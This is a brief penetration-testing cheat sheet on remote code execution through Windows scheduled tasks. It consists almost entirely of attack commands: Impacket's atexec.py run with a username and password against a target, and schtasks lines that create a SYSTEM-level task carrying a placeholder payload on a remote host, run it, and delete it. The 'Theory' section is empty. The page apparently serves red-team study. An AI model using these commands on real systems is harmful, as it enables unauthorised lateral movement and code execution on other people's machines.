Scheduled Tasks (ATSVC)
Theory
Practice
#Remotely exec a scheduled command
atexec.py <domain>/<username>:<password>@<target> "whoami"#Remotely schedule a Task
schtasks /s TARGET /RU "SYSTEM" /create /tn "MyTask" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
#Remotely Run It
schtasks /s TARGET /run /TN "MyTask"
#Remotely Delete a Task
schtasks /S TARGET /TN "MyTask" /DELETE /FResources
Last updated